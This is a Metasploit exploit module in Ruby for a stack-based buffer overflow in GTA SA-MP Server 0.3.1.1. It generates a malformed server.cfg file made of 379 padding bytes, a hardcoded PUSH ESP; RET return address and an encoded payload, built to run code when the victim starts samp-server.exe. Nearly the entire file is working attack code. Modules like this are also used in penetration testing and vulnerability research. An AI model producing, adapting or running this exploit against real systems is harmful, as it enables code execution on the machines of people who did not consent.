##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GTA SA-MP server.cfg Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in GTA SA-MP Server.
        This buffer overflow occurs when the application attempts to open a malformed
        server.cfg file.  To exploit this vulnerability, an attacker must send the
        victim a server.cfg file and have them run samp-server.exe.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Silent_Dream',  # Original discovery, MSF Module, template by mona.py
        ],
      'References'     =>
        [
          [ 'OSVDB', '83433' ],
          [ 'EDB', '17893' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars'       => "\x0d\x0a\x1a",
          'Space'          => 392,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",
          'DisableNops'    => true,
          'MaxSize'        => 392,
        },

      'Targets'        =>
        [
          [
            'GTA SA-MP (samp-server) v0.3.1.1',
            {
              'Ret' => 0x00429faa, # PUSH ESP; RET (samp-server.exe)
            }
          ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Sep 18 2011',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'server.cfg'])
      ], self.class)

  end

  def exploit

    buffer = "echo "
    buffer << rand_text_alpha_upper(379)
    buffer << [target.ret].pack('V')
    buffer << payload.encoded
    file_create(buffer)

  end
end
